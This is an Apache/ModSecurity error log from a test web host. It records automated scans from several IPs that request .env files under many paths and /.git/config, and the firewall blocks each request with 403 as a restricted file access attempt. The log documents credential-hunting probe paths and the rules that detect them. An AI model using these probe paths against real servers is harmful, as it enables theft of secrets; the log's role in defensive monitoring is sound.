[Fri Nov 28 10:36:45.427501 2025] [:error] [pid 383786] [client 54.177.185.240:45218] [client 54.177.185.240] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aSltLTw2yRGRiZPkz52y8wAAAB4"]
[Fri Nov 28 10:36:45.616311 2025] [:error] [pid 383793] [client 54.177.185.240:45296] [client 54.177.185.240] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /en/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/en/.env"] [unique_id "aSltLbF0qzQKjfNcRsLaSgAAACU"]
[Fri Nov 28 10:36:45.616552 2025] [:error] [pid 383793] [client 54.177.185.240:45296] [client 54.177.185.240] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/en/.env"] [unique_id "aSltLbF0qzQKjfNcRsLaSgAAACU"]
[Fri Nov 28 10:36:45.616754 2025] [:error] [pid 383793] [client 54.177.185.240:45296] [client 54.177.185.240] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/en/.env"] [unique_id "aSltLbF0qzQKjfNcRsLaSgAAACU"]
[Fri Nov 28 10:36:46.030072 2025] [:error] [pid 383786] [client 54.177.185.240:45218] [client 54.177.185.240] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/app/.env"] [unique_id "aSltLjw2yRGRiZPkz52y9AAAAB4"]
[Fri Nov 28 10:36:46.031527 2025] [:error] [pid 383786] [client 54.177.185.240:45218] [client 54.177.185.240] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/app/.env"] [unique_id "aSltLjw2yRGRiZPkz52y9AAAAB4"]
[Fri Nov 28 10:36:46.031815 2025] [:error] [pid 383786] [client 54.177.185.240:45218] [client 54.177.185.240] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/app/.env"] [unique_id "aSltLjw2yRGRiZPkz52y9AAAAB4"]
[Fri Nov 28 10:36:46.230206 2025] [:error] [pid 383793] [client 54.177.185.240:45296] [client 54.177.185.240] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aSltLrF0qzQKjfNcRsLaSwAAACU"]
[Fri Nov 28 10:36:46.232516 2025] [:error] [pid 383793] [client 54.177.185.240:45296] [client 54.177.185.240] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aSltLrF0qzQKjfNcRsLaSwAAACU"]
[Fri Nov 28 10:36:46.232662 2025] [:error] [pid 383793] [client 54.177.185.240:45296] [client 54.177.185.240] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aSltLrF0qzQKjfNcRsLaSwAAACU"]
[Fri Nov 28 10:36:46.721548 2025] [:error] [pid 383786] [client 54.177.185.240:45218] [client 54.177.185.240] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /database/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database/.env"] [unique_id "aSltLjw2yRGRiZPkz52y9QAAAB4"]
[Fri Nov 28 10:36:46.721800 2025] [:error] [pid 383786] [client 54.177.185.240:45218] [client 54.177.185.240] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database/.env"] [unique_id "aSltLjw2yRGRiZPkz52y9QAAAB4"]
[Fri Nov 28 10:36:46.722027 2025] [:error] [pid 383786] [client 54.177.185.240:45218] [client 54.177.185.240] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database/.env"] [unique_id "aSltLjw2yRGRiZPkz52y9QAAAB4"]
[Fri Nov 28 10:36:47.156534 2025] [:error] [pid 383793] [client 54.177.185.240:45296] [client 54.177.185.240] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /tools/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/tools/.env"] [unique_id "aSltL7F0qzQKjfNcRsLaTAAAACU"]
[Fri Nov 28 10:36:47.156751 2025] [:error] [pid 383793] [client 54.177.185.240:45296] [client 54.177.185.240] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/tools/.env"] [unique_id "aSltL7F0qzQKjfNcRsLaTAAAACU"]
[Fri Nov 28 10:36:47.156967 2025] [:error] [pid 383793] [client 54.177.185.240:45296] [client 54.177.185.240] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/tools/.env"] [unique_id "aSltL7F0qzQKjfNcRsLaTAAAACU"]
[Fri Nov 28 10:36:47.774059 2025] [:error] [pid 383793] [client 54.177.185.240:45296] [client 54.177.185.240] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /sitemaps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/sitemaps/.env"] [unique_id "aSltL7F0qzQKjfNcRsLaTQAAACU"]
[Fri Nov 28 10:36:47.774550 2025] [:error] [pid 383793] [client 54.177.185.240:45296] [client 54.177.185.240] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/sitemaps/.env"] [unique_id "aSltL7F0qzQKjfNcRsLaTQAAACU"]
[Fri Nov 28 10:36:47.774899 2025] [:error] [pid 383793] [client 54.177.185.240:45296] [client 54.177.185.240] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/sitemaps/.env"] [unique_id "aSltL7F0qzQKjfNcRsLaTQAAACU"]
[Fri Nov 28 16:44:00.095445 2025] [:error] [pid 387719] [client 104.131.35.20:56730] [client 104.131.35.20] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aSnDQDBOnTBjW97FOq6C0QAAAAk"]
[Fri Nov 28 16:44:00.095728 2025] [:error] [pid 387719] [client 104.131.35.20:56730] [client 104.131.35.20] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aSnDQDBOnTBjW97FOq6C0QAAAAk"]
[Fri Nov 28 16:44:00.095895 2025] [:error] [pid 387719] [client 104.131.35.20:56730] [client 104.131.35.20] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aSnDQDBOnTBjW97FOq6C0QAAAAk"]
[Fri Nov 28 19:05:58.452116 2025] [:error] [pid 387638] [client 45.139.104.171:50940] [client 45.139.104.171] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSnkhulfIsf8iBzToT1BJQAAABg"]
[Fri Nov 28 19:05:58.452440 2025] [:error] [pid 387638] [client 45.139.104.171:50940] [client 45.139.104.171] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSnkhulfIsf8iBzToT1BJQAAABg"]
[Fri Nov 28 19:05:58.452656 2025] [:error] [pid 387638] [client 45.139.104.171:50940] [client 45.139.104.171] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSnkhulfIsf8iBzToT1BJQAAABg"]
[Fri Nov 28 19:31:23.984415 2025] [:error] [pid 387718] [client 35.183.136.84:54994] [client 35.183.136.84] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aSnqe19Lt-0Mbj6WnMWiRAAAAAU"]
[Fri Nov 28 19:31:23.984415 2025] [:error] [pid 387638] [client 35.183.136.84:54990] [client 35.183.136.84] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.remote"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.remote"] [unique_id "aSnqe-lfIsf8iBzToT1BJgAAABg"]
[Fri Nov 28 19:31:23.984705 2025] [:error] [pid 387718] [client 35.183.136.84:54994] [client 35.183.136.84] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aSnqe19Lt-0Mbj6WnMWiRAAAAAU"]
[Fri Nov 28 19:31:23.984706 2025] [:error] [pid 387638] [client 35.183.136.84:54990] [client 35.183.136.84] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.remote"] [unique_id "aSnqe-lfIsf8iBzToT1BJgAAABg"]
[Fri Nov 28 19:31:23.984882 2025] [:error] [pid 387638] [client 35.183.136.84:54990] [client 35.183.136.84] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.remote"] [unique_id "aSnqe-lfIsf8iBzToT1BJgAAABg"]
[Fri Nov 28 19:31:23.984883 2025] [:error] [pid 387718] [client 35.183.136.84:54994] [client 35.183.136.84] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aSnqe19Lt-0Mbj6WnMWiRAAAAAU"]
[Fri Nov 28 19:31:23.985827 2025] [:error] [pid 387719] [client 35.183.136.84:54996] [client 35.183.136.84] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aSnqezBOnTBjW97FOq6C2gAAAAk"]
[Fri Nov 28 19:31:23.985968 2025] [:error] [pid 387719] [client 35.183.136.84:54996] [client 35.183.136.84] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aSnqezBOnTBjW97FOq6C2gAAAAk"]
[Fri Nov 28 19:31:23.986085 2025] [:error] [pid 387729] [client 35.183.136.84:54992] [client 35.183.136.84] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSnqeyNGdhATNi61o2H_nwAAABY"]
[Fri Nov 28 19:31:23.986162 2025] [:error] [pid 387719] [client 35.183.136.84:54996] [client 35.183.136.84] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aSnqezBOnTBjW97FOq6C2gAAAAk"]
[Fri Nov 28 19:31:23.986223 2025] [:error] [pid 387729] [client 35.183.136.84:54992] [client 35.183.136.84] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSnqeyNGdhATNi61o2H_nwAAABY"]
[Fri Nov 28 19:31:23.986390 2025] [:error] [pid 387729] [client 35.183.136.84:54992] [client 35.183.136.84] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSnqeyNGdhATNi61o2H_nwAAABY"]
[Fri Nov 28 19:31:24.547278 2025] [authz_core:error] [pid 387721] [client 35.183.136.84:55030] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/vendor/.env
[Fri Nov 28 19:31:24.547568 2025] [:error] [pid 387720] [client 35.183.136.84:55026] [client 35.183.136.84] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aSnqfMvllV7ZEBccheD0vgAAAAs"]
[Fri Nov 28 19:31:24.547787 2025] [:error] [pid 387720] [client 35.183.136.84:55026] [client 35.183.136.84] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aSnqfMvllV7ZEBccheD0vgAAAAs"]
[Fri Nov 28 19:31:24.547960 2025] [:error] [pid 387720] [client 35.183.136.84:55026] [client 35.183.136.84] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aSnqfMvllV7ZEBccheD0vgAAAAs"]
[Fri Nov 28 19:31:25.263251 2025] [authz_core:error] [pid 387715] [client 35.183.136.84:55094] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/lib/.env
